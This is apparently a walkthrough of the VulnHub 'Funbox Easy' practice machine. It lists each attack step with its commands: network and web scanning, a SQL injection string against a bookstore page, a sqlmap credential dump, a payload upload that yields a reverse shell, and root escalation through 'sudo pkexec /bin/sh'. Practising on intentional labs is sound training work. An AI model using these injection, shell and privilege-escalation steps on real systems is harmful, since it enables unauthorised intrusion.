Machine Link : https://www.vulnhub.com/entry/funbox-easy,526/
STEP1
arp-scan -l
FINDING
192.168.0.105
-------------------------------------------------------------------------------------------------
STEP2
nmap -sSV -A -Pn -p- 192.168.0.105
FINDING
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
33060/tcp open mysqlx MySQL X protocol listener
-------------------------------------------------------------------------------------------------
STEP3
dirb http://192.168.0.105
FINDING
+ http://192.168.0.105/robots.txt (CODE:200|SIZE:14)
== DIRECTORY: http://192.168.0.105/secret/
+ http://192.168.0.105/server-status (CODE:403|SIZE:278)
== DIRECTORY: http://192.168.0.105/store/
---- Entering directory: http://192.168.0.105/admin/ ----
== DIRECTORY: http://192.168.0.105/admin/assets/
---- Entering directory: http://192.168.0.105/store/ ----
+ http://192.168.0.105/store/admin.php (CODE:200|SIZE:3153)
== DIRECTORY: http://192.168.0.105/store/controllers/
== DIRECTORY: http://192.168.0.105/store/database/
== DIRECTORY: http://192.168.0.105/store/functions/
+ http://192.168.0.105/store/index.php (CODE:200|SIZE:3998)
== DIRECTORY: http://192.168.0.105/store/models/
== DIRECTORY: http://192.168.0.105/store/template/
http://192.168.0.105/store/
http://192.168.0.105/store/admin.php
http://192.168.0.105/secret/
„Anyone who lives within their means suffers from a lack of imagination.“ Oscar Wilde (*1854 - †1900)
http://192.168.0.105/admin/
-------------------------------------------------------------------------------------------------
STEP4
nikto --host http://192.168.0.105
FINDING
+ /admin/: This might be interesting.
+ /secret/: This might be interesting.
+ /store/: This might be interesting.
+ /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ 8103 requests: 0 error(s) and 12 item(s) reported on remote host
-------------------------------------------------------------------------------------------------
STEP5
dirsearch -u http://192.168.0.105
FINDING
http://192.168.0.105/index.php
http://192.168.0.105/index.php/login/registration.php
-------------------------------------------------------------------------------------------------
STEP6
http://192.168.31.119/store/book.php?bookisbn=978-1-49192-706-9
CHANGE IT TO
http://192.168.31.119/store/book.php?bookisbn=1%27+or+1=1--
FINDING
Cant retrieve data You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1
-------------------------------------------------------------------------------------------------
STEP7
sqlmap http://192.168.31.119/store/book.php?bookisbn= --dump-all --batch -D store
FINDING
+--------------------------------------------------+--------+
| pass | name |
+--------------------------------------------------+--------+
| d033e22ae348aeb5660fc2140aec35850c4da997 (admin) | admin |
+--------------------------------------------------+--------+
-------------------------------------------------------------------------------------------------
STEP8
http://192.168.31.119/store/book.php?bookisbn=978-1-49192-706-9
http://192.168.0.105/store/admin.php
admin - admin -- use as user id and password
FINDING
http://192.168.31.119/store/admin_book.php
-------------------------------------------------------------------------------------------------
STEP9
add a new record
upload a payload
-------------------------------------------------------------------------------------------------
STEP10
nc -nvlp 192.168.31.119 on new terminal
hit -- http://192.168.31.119/store/
get a reverse shell
-------------------------------------------------------------------------------------------------
STEP11
cd /home
cd tony
ls -la
cat password.txt
FINDING
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: [email protected] admin
-------------------------------------------------------------------------------------------------
STEP12
on new terminal
ssh [email protected]
pwd : yxcvbnmYYY
sudo -l
FINDING
(root) NOPASSWD: /usr/bin/yelp
(root) NOPASSWD: /usr/bin/dmf
(root) NOPASSWD: /usr/bin/whois
(root) NOPASSWD: /usr/bin/rlogin
(root) NOPASSWD: /usr/bin/pkexec
(root) NOPASSWD: /usr/bin/mtr
(root) NOPASSWD: /usr/bin/finger
(root) NOPASSWD: /usr/bin/time
(root) NOPASSWD: /usr/bin/cancel
(root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh
-------------------------------------------------------------------------------------------------
STEP13
https://gtfobins.github.io/gtfobins/pkexec/#sudo
FINDING
sudo pkexec /bin/sh
whoami
root
cd /root
ls -la
car root.flag
__________ ___. ___________
\_ _____/_ __ ____\_ |__ _______ ___ /\ \_ _____/____ _________.__.
| __)| | \/ \| __ \ / _ \ \/ / \/ | __)_\__ \ / ___ | |
| \ | | / | \ \_\ ( _ /\ | \/ __ \_\___ \ \___ |
\___ / |____/|___| /___ /\____/__/\_ \ \/ /_______ (____ /____ / ____|
\/ \/ \/ \/ \/ \/ \/ \/
-------------------------------------------------------------------------------------------------
|